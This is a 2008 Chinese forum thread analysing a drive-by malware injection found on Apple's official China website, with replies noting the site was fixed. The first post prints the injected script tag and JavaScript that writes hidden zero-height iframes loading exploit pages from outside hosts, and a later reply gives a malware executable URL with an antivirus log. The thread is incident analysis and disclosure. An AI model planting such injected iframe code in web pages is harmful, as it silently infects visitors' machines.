真爽，apple中国官方站挂马。[官方已修复]

显示全部楼层 · 发表于 2008-3-14 01:02:40

难道是让大家都用mac os么？
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
看看今天的主角~
http://www.apple.com.cn
未命名.JPG

出问题的脚本位于head部分

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<script src=http://1.hao929.cn/999.js></script>
<!---equiv="content-type" content="text/html;
charset=gb2312">

复制代码

被加载的js的关键语句是：

document.writeln("<\/SCRIPT>");
document.writeln("<iframe src=http:\/\/c.j8j8.biz\/107\/ width=50 height=0><\/iframe> ");
document.writeln("<iframe src=http:\/\/1.hao929.cn\/999.htm width=50 height=0><\/iframe> ");

复制代码

顺便找出其他的东西

http://c.j8j8.biz/107/
http://1.hao929.cn/999.htm

复制代码

继续分析

http://c.j8j8.biz/107/

复制代码

的内容为

<html><TITLE>index</TITLE><BODY>
<iframe src="" width=100 height=1></iframe>
<iframe src="r.htm" width=100 height=1></iframe>
<iframe src="1.htm" width=100 height=1></iframe>
</body></html>
<script src='http://s109.cnzz.com/stat.php?id=418410&web_id=418410' language='JavaScript' charset='gb2312'></script>

复制代码

很恶俗的出现了
1.htm
r.htm
这两个东西太长了，打包在附件里，是两个漏洞利用脚本。

刚才的

http://1.hao929.cn/999.htm

复制代码

也一样是漏洞利用脚本

继续分析下去就交给大家了。

这年头apple都不安全了~~

已经通知了管理员，估计不久就可以修复了（发出的邮件快照）
未命名23.JPG

39分钟后，网站被修复了~~~速度不错~比以前的太平洋不知道快了多少倍。现在已经正常了。

[ 本帖最后由 ALEXBLAIR 于 2008-3-14 01:42 编辑 ]

显示全部楼层 · 发表于 2008-3-14 01:16:44

我只知道那个广告歌很嚣张

显示全部楼层 · 发表于 2008-3-14 01:28:48

阿米又出现了~~~
抱走~~

显示全部楼层 · 发表于 2008-3-14 01:33:11

苹果的反应真快，已经被修复了~~~

显示全部楼层 · 发表于 2008-3-14 01:36:23

还让人家看你的真爽的感叹...

对了你那个邮件终端用的是什么？ OE？

显示全部楼层 · 发表于 2008-3-14 01:36:42

没有吧,我刚去了还想来这里发帖呢,没想到已经有了

显示全部楼层 · 发表于 2008-3-14 01:39:05

原帖由 jimmyleo 于 2008-3-14 01:36 发表
还让人家看你的真爽的感叹...

对了你那个邮件终端用的是什么？ OE？

那是当然，apple需要灵感，我能创造灵感~~~
邮件客户端是outlook~~

显示全部楼层 · 发表于 2008-3-14 01:47:37

outlook被我封存到现在...

是时候考虑选个客户端了... 唉不用多好..

linkscanner真好...

明天晚上可能会写篇文章附带个小工具

显示全部楼层 · 发表于 2008-3-14 01:50:27

原帖由 jimmyleo 于 2008-3-14 01:47 发表
outlook被我封存到现在...

是时候考虑选个客户端了... 唉不用多好..

linkscanner真好...

明天晚上可能会写篇文章附带个小工具

outlook的确是不错的东西，配合office系列使用很稳定和可靠，而且，支持的服务多，通用性广还可以和google的日历互通~~很爽的东西

，不过自带的OE就和垃圾没什么两样了

阿米要发布个小工具了？

紧紧抱住阿米，然后~~~

[ 本帖最后由 ALEXBLAIR 于 2008-3-14 01:52 编辑 ]

显示全部楼层 · 发表于 2008-3-14 01:53:21

http://vvv.123sky.biz/107/107.exe
这个
Starting the file scan:

Begin scan in 'C:\TDDOWNLOAD\107.exe'
C:\TDDOWNLOAD\
  107.exe
[0] Archive type: Runtime Packed
--> Object
      [DETECTION] Contains detection pattern of the worm WORM/Cekar.A
   [NOTE]    The file was deleted!

[已鉴定] 真爽，apple中国官方站挂马。[官方已修复]

回复 2楼 jimmyleo 的帖子